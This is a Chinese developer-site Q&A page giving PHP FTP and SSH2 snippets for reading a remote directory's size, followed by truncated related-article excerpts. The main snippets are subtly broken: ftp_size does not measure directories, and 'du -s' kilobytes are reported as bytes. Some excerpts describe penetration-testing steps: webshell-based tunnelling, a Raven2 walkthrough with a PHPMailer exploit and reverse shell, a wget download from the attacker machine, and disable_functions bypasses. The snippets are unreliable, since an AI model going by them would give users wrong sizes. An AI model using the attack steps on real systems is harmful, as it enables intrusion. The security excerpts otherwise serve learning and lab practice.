首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

使用PHP脚本在远程主机上获取目录大小

要获取远程主机上目录的大小,可以使用PHP的FTP扩展或者SSH2扩展。以下是两种方法的示例代码:

方法一:使用FTP扩展

代码语言:php
复制
$ftp_server = "ftp.example.com";
$ftp_username = "your_username";
$ftp_password = "your_password";

$conn_id = ftp_connect($ftp_server) or die("Could not connect to $ftp_server");

if (@ftp_login($conn_id, $ftp_username, $ftp_password)) {
    echo "Connected to $ftp_server\n";
    $size = ftp_size($conn_id, "/path/to/directory");
    echo "Directory size: $size bytes\n";
} else {
    echo "Login failed\n";
}

ftp_close($conn_id);

方法二:使用SSH2扩展

代码语言:php
复制
$host = "ssh.example.com";
$username = "your_username";
$password = "your_password";

$connection = ssh2_connect($host);
ssh2_auth_password($connection, $username, $password);

$stream = ssh2_exec($connection, "du -s /path/to/directory");
$output = stream_get_contents($stream);

list($size, $directory) = explode("\t", trim($output));
echo "Directory size: $size bytes\n";

这两种方法都可以获取远程主机上目录的大小。使用哪种方法取决于远程主机是否支持FTP或SSH。请注意,这些示例代码仅供参考,实际使用时可能需要根据具体情况进行修改。

页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

Ansible 自动化运维笔记(总结)

,也就是说,脚本一直存在于你的管理主机本地,无需手动拷贝到远程主机,你当然也可以使用copy模块将你的脚本拷贝到远程主机,然后执行/bin/bash调用脚本执行,但是这样就太麻烦了,幸好Ansible为我们提供了...,就不执行对应命令,起到判断的作用 removes 与creates参数相反,当指定的文件不存在时,就不执行对应命令 我们来编写一个打印系统日期的脚本,然后使用script模块执行,看一下远程主机的执行情况...,或直接修改远程机上的文件或目录的属与属组. ansible all -m shell -a "rm -fr /tmp/*" -o #清空演示目录 ansible all -m shell...,设置属,远程机上必须有对应的用户 group 拷贝到远程主机以后,设置属组,远程机上必须有对应的用户 mode 拷贝到远程主机以后,设置文件的权限信息 others 所有的file模块里的选项都可以在这里使用...根据文件的大小来查找,可以使用的单位有 t、g、m、k、b get_checksum 当有符合查找条件的文件被找到时,会同时返回对应文件的sha1校验码 1.查询远程主机中/etc目录下,包含 passwd

1.9K20

ATT&CK视角下的红蓝对抗:五. 内网穿透之利用HTTP协议进行隧道穿透

脚本环境,由客户端进行连接,客户端需要配置JDK环境,使用前需要获取到目标服务器webshell权限,才可以上传reDuh服务端对应脚本文件,reDuh文件再将内网服务器的端口通过HTTP/HTTPS服务转发到本地...首先检测到目标主机是PHP环境,通过文件上传漏洞获取到webshell权限,之后上传reDuh.php文件到网站根目录下,此时攻击机访问网站http://192.168.0.25/reDuh.php显示如图...假设Web服务器是PHP环境,可以使用tunnel.nosocket.php脚本文件,上传文件到Web服务器网站根目录下。...1)本次实验环境同上,通过webshell管理权限上传conn.php到网站根目录下,就可以通过http协议访问conn.php文件连接受控服务器,然后攻击机上执行python proxy.py -u...Kali攻击机上使用git命令把github上的abptts包拉取到本地,执行git clone https://github.com/nccgroup/ABPTTS.git命令之后安装,进入工具目录使用

955182

开发服务器安全加固

3 安全配置 3.1 控制脚本访问权限 PHP默认配置允许php脚本程序访问服务器上的任意文件,为避免php脚本访问不该访问的文件,从一定程度上限制了php木马的危害,需设置php只能访问网站目录或者其他必须可访问的目录...的用户和组具有写的权限 4.5 禁止访问远程文件 允许访问URL远程资源使得PHP应用程序的漏洞变得更加容易被利用,php脚本若存在远程文件包含漏洞可以让攻击者直接获取网站权限及上传web木马,一般会在...但是,黑客可以777权限目录中上传或者写入web木马,因此应该严格保证777权限的目录没有执行脚本的权限。...安全配置如下: 1、对于使用php的业务,nginx配置文件中添加如下配置,即可禁止log目录执行php脚本: location ~* ^/data/log/.*\....使用 ssh的时候腾讯云里的安全组里禁用 ssh端口

2.9K80

PG备份恢复工具pg_probackup

通过不复制未更改的非数据文件如_vm或者_fsm来节省磁盘空间 10、远程操作。备份位于远程系统上的PG实例或远程恢复备份 11、从备机上进行备份。通过从备机上进行备份来避免主机上的额外负载。...12、外部目录。备份位于数据目录PGDATA之外的文件和目录,如脚本、配置文件、日志或SQL转储文件。 13、备份Catalog。...可以将不同实例的备份存储单个目录的不同子目录中。通过该工具可以进行完整备份和增量备份。 1、全量备份,包含从头恢复数据库集群需要的所有数据文件 2、增量备份。只存储自上次以来更改的数据。...如果这些文件大小与数据库集群文件总大小相当,则加速比较小,但备份占用空间仍然较小。 2)DELTA备份。读取PGDATA目录下所有数据文件,仅拷贝自上次备份以来的脏页。无须持续归档。...限制:备份和转储的PG必须block_size和wal_block_size兼容且有相同版本号;Windows下不支持ssh远程备份;ssh远程备份时,pg_probackup的版本必须相同。

1.4K10

MySQL集群(三)mysql-proxy搭建负载均衡与读写分离

前言 前面学习了主从复制和复制,接下来给大家分享一下怎么去使用mysql-proxy这个插件去配置MySQL集群中的负载均衡以及读写分离。...1)在你的已经安装了mysql-proxy的主机上创建一个脚本:mysql-proxy-replication.sh   #!...,我把脚本放在了家目录上面     创建好了,可以修改一下文件的权限sudo chmod u+x  mysql-proxy-replication.sh     还要创建一下存放日志文件的目录与文件sudo...从日志文件可以清楚的看到,插件proxy正在监听着4040端口,它还添加了两个MySQL服务器(复制)。   4)获取mysql-proxy中管理的两个服务器的连接 ?       ...3.2、配置读写分离   在这里我只是配置的是复制。 ?   1)怎么配置两台MySQL服务器中的复制我就不介绍了,前面一篇博客已经介绍了。

2K100

vulnhub-Raven2

接着README.md里面看到了PHPMailer(一个功能齐全的PHP电子邮件创建和传输类) VERSION目录文件中得知PHPMailer版本号为5.2.16 PHPMailer < 5.2.18...版本存在安全漏洞,可使未经身份验证的远程攻击者Web服务器用户上下文中执行任意代码,远程控制目标web应用 kali上利用searchsploit命令可以搜索到可利用的漏洞 将对应exp的py文件拷贝出来到当前目录下.../contact.php,就会生成后门文件 shell1.php,再访问 http://192.168.126.15/shell1.php,就成功反弹了一个shell到攻击机上 此时获取的shell并不是一个具有完整交互的...目标主机上查找flag cat查看flag2.txt内容 3. flag3 由于flag3.png是张图片,无法直接在命令行中查看。...so文件提供给靶机下载 python -m SimpleHTTPServer 8888 受害靶机上切换到tmp目录下,wget下载编译好的so文件 cd /tmp wget http://192.168.126.128

58560

ansible常用模块详解-包含重点:scripts 脚本模块-自动化运维

#--------- scripts 脚本模块 ---------# scripts 模块作用 # 本地执行脚本, 产生所有的动作都在远端主机上执行...文件数据复制到远程主机,设置文件属用户信息 remote_src no* yes 如果设置为yes,表示将远程机上的数据进行移动操作...#----- fetch -----# # 抓取远程文件到管理(本地)上 src(required) # 要获取远程系统上的文件,必须是文件,而不是目录 dest...主机上的压缩包在本地解压缩后传到远程机上,这种情况下,copy=yes....本地解压缩,解压缩位 置不是默认的目录,没找到或传完删了 后传到远程主机 将远程机上的某个压缩包解压缩到指定路径下。

2.3K60

Web安全攻防渗透测试实战指南NOTES

389 ldap目录访问协议 注入、允许匿名访问、弱口令 远程连接服务端口 22 SSH远程连接 爆破、ssh隧道及内网代理转发、文件传输 23 Telnet远程连接 爆破、嗅探、弱口令...当不能执行多语句时(比如PHP或asp的后端数据库为MySQL),仍然可以使用into outfile写进可写目录,创建一个web后门。...scripts目录中的扩展脚本,进行数据库更新。...文件到攻击机root目录下 upload /root/test.txt c:\上传文件到目标机器 XP下低权限用户是不能使用WMIC命令的,但是Windows7和8下,低权限用户可以使用wmic,...dirbuster推荐线程20-30之间,太大容易死机 :/admin/{dir}.php 扫描admin目录下的PHP文件 /{dir} 扫描根目录下所有文件 lamp

1.5K40

渗透知识总结

目录遍历 首先测试看看有没有目录遍历漏洞,尝试获取敏感信息文件,对于能否文件包含,主要看php.ini文件里的配置 常见的敏感信息路径: Windows系统 c:\windows\php.ini //...如linux下默认存储/var/lib/php/session目录下 攻击者通过phpinfo()信息泄露或者猜测能获取到session存放的位置,文件名称通过开发者模式可获取到,然后通过文件包含的漏洞解析恶意代码...限制上传文件类型 扩展名检测防止%00截断以及特殊字符绕过,对上传的图片文件进行2次渲染压缩 限制上传文件大小:配置web server 允许最大的post大小 将上传目录设置为静态资源目录,防止被解析为脚本...,用有效的已部署的Web应用目录替换默认的存储JKS Keystores文件的目录,之后使用”添加Keystore设置”的功能,可上传恶意的JSP脚本文件。...LCX进行内网端口转发 第一条命令(lcx -listen 51 3389)(3389可以设置为任意没使用的端口数字)是具有外网独立IP的计算机上执行(即B机),表示机上监听51端口,该端口主要是接受被控制计算机

2.1K60

Ansible 常用模块详解

,也就是说,脚本一直存在于你的管理主机本地,无需手动拷贝到远程主机,你当然也可以使用copy模块将你的脚本拷贝到远程主机,然后执行/bin/bash调用脚本执行,但是这样就太麻烦了,幸好Ansible为我们提供了...,就不执行对应命令,起到判断的作用 removes 与creates参数相反,当指定的文件不存在时,就不执行对应命令 我们来编写一个打印系统日期的脚本,然后使用script模块执行,看一下远程主机的执行情况...,或直接修改远程机上的文件或目录的属与属组....,设置属,远程机上必须有对应的用户 group 拷贝到远程主机以后,设置属组,远程机上必须有对应的用户 mode 拷贝到远程主机以后,设置文件的权限信息 others 所有的file模块里的选项都可以在这里使用...根据文件的大小来查找,可以使用的单位有 t、g、m、k、b get_checksum 当有符合查找条件的文件被找到时,会同时返回对应文件的sha1校验码 1.查询远程主机中/etc目录下,包含 passwd

1.1K10

Ansible 命令执行模块

模块是Ansible的默认调用模块,它可以帮助我们远程机上执行任意命令,但是需要注意的是,使用Command模块执行命令时,如果需要执行的命令是单一的命令那没什么,但如要需要使用含有管道符,重定向,...,也就是说,脚本一直存在于你的管理主机本地,无需手动拷贝到远程主机,你当然也可以使用copy模块将你的脚本拷贝到远程主机,然后执行/bin/bash调用脚本执行,但是这样就太麻烦了,幸好Ansible为我们提供了...当指定的文件存在时,就不执行对应命令,起到判断的作用removes与creates参数相反,当指定的文件不存在时,就不执行对应命令我们来编写一个打印系统日期的脚本,然后使用script模块执行,看一下远程主机的执行情况...,或直接修改远程机上的文件或目录的属与属组....拷贝到远程主机以后,设置属,远程机上必须有对应的用户group拷贝到远程主机以后,设置属组,远程机上必须有对应的用户mode拷贝到远程主机以后,设置文件的权限信息others所有的file模块里的选项都可以在这里使用

1.7K30

安服——渗透测试

查询域名:以前用CDN的时候有个习惯,只让www域名使用cdn,秃域名不适用,为的是维护网站时更方便,不用等cdn缓存。...脚本类型(php/jsp/asp/aspx) 我们需要知道网站用的脚本类型:php 、Jsp 、Asp 、Aspx 可以根据网站URL来判断 site:xxx filetype:php 可以根据Firefox...0x06 内网横向渗透 当我们获取了外网服务器的权限,进入该系统后,我们要想尽办法从该服务器上查找到我们想要的信息。 对于windows主机,我们应该多去翻翻目录,或许能有很多意想不到的结果。...我们尽量不要使用远程桌面。因为使用远程桌面动静比较大,如果此时服务器管理员也登录,而你此时通过远程桌面登录的话,会将管理员挤掉,而你也将很快的被管理员踢掉。...RDP远程登录后,我们可以查看其他用户桌面上和其他目录有哪些软件,我们要找的目标有以下。 FTP相关的软件 数据库相关的软件 打开浏览器,查看历史记录,查看某些网站是否保存有用户密码。

26010

绕过Disable Functions来搞事情

下载利用脚本后先对脚本像上面那样进行修改,然后将修改后的利用脚本上传到目标主机上,如果是web目录则直接传参执行命令,如果是其他有权限的目录,则将脚本包含进来再传参执行命令。...下载利用脚本后先对脚本像上面那样进行修改,然后将修改后的利用脚本上传到目标主机上,如果是web目录则直接传参执行命令,如果是其他有权限的目录,则将脚本包含进来再传参执行命令。...:点击文末阅读原文获取 下载后,像之前那样对脚本稍作修改: 将脚本像之前那样上传到有权限的目录(/var/tmp/exploit.php)后包含执行即可: /?...然后我们需要下载一个利用脚本:点击文末阅读原文获取脚本上传到目标主机上有权限的目录中(/var/tmp/exploit.php),包含该exploit.php脚本即可成功执行命令: 利用 FFI 扩展执行命令...将以下利用脚本上传到目标主机上有权限的目录(/var/tmp/exploit.php): <?

4.3K40

基于腾讯云CVM自建高可用Redis实践

如果前端业务使用 Java,有 JedisSentinelPool 可以复用;如果前端业务使用 PHP,可以 phpredis 的基础上做二次封装。...[确认当前可以执行写操作] 4.客户端使用方式: 客户端程序(如PHP程序)连接redis时需要ip和port,但redis-server进行故障转移时,redis是变化的,所以ip地址也是变化的。...● 连接到sentinel获取当前redis的ip和端口(因为又执行了一次切换,这里的已经切换到172.16.2.15,这里只是说明客户端的使用方式) [客户端程序连接方式] 方案二:redis-sentinel...(VIP用之前腾讯云控制台上申请的VIP) 然后/opt/目录下创建notify_mymaster.sh脚本文件,这个脚本做VIP漂移操作。...> ; (6)自定义脚本需要远程 ssh 操作机器,建议使用 paramiko 库,避免重复建立 SSH 连接,消耗时间; (7)加速 SSH

13.7K90

Linux探秘之旅:透彻理解路径、命令与系统概念

如何远程连接 博的上一篇文章中的也有提到如何远程连接 访问链接: 掌握虚拟化与网络配置之道:深入浅出VMware及远程管理技巧-CSDN博客 https://blog.csdn.net/Srlua/article.../details/136079391#comments_31253141 远程登录简明指南 使用ip address show 获取VMware3的IP地址为192.168.64.131 通过ssh -...p 22 root@192.168.64.131进入另一个机器 也可以通过机器的命令提示符判断是否成功登录到另一台机器(由于博两个虚拟机用的都是root权限所以看不出来) linux区别 1.严格区分大小写...windows:不区分大小写,比如你创建文件夹,输入大写,小写,windows都认为是同一个 linux:严格区分大小写 2.linux的命令返回结果判断 1.你要创建些什么,执行些脚本,创建文件,创建文件夹...,文件名不能重复 8.linux的硬盘,必须要挂载后才能使用(挂载的概念) Windows Linux 有磁盘,分区 linux中有一个目录,和这个分区绑定 访问这个目录,即访问了这个磁盘的数据

11010

《内网安全攻防》学习笔记,第二章-域内信息收集

常见应用的默认端口 1:利用Telnet命令进行扫描 Telnet协议是TCP/IP协议的一种,是Internet远程登录服务的标准协议和主要方式。它为用户提供了本地计算机上完成远程工作的能力。...2.2:PVEFindADUser.exe PVEFindADUser.exe这款工具可用于查找活动目录用户登录的位置、枚举域用户,以及查找特定计算机上登陆的用户,包括本地用户、通过RDP登陆的用户、...3:查询远程系统中运行的任务 如果目标机器域系统中是通过共享的本地管理员账户运行的,就可以使用下列脚本来查询系统中的域管理员任务。...Get-NetSession:获取指定服务器存在的会话信息。 Get-NetRDPSession:获取指定服务器存在的远程连接信息。 Get-NetProcess:获取远程主机的进程信息。...获取指定服务器存在的会话信息 Get-NetSession ? 获取指定服务器存在的远程连接信息 Get-NetRDPSession ? 获取远程主机的进程信息 Get-NetProcess ?

4.7K43

实战RHCA-DO407(1)

、test和prod主机组的主机上安装php和mariadb包 将开发工具包组安装到dev主机组中的主机上 dev主机组的主机上更新所有包到最新版本 解答 1.编辑package.yml文件 [student...创建并使用一个角色 根据以下要求/home/student/ansible/role中创建一个名为apache的角色 复制默认模板目录到/tmp/custom/,并添加templates目录,创建角色时指定模板目录为...,需求如下: vdb中,创建一个分区,编号是1,大小1500MiB 格式化成ext4文件系统,挂在到/newpart 如果无法创建请求的分区大小,则应使用错误消息“无法创建该大小的分区”, 应该显示.../data目录下,只有主机是qa才可以 如果这个逻辑卷的大小不能够创建,则输出错误信息 Could not create logical volume of that size 并使用800MiB...创建一个名为/home/student/ansible/host.yml的剧本,使用此模板dev主机组的主机上生成文件/etc/myhosts.yml 完成后,dev host组主机上的/etc/myhosts

7.5K72
领券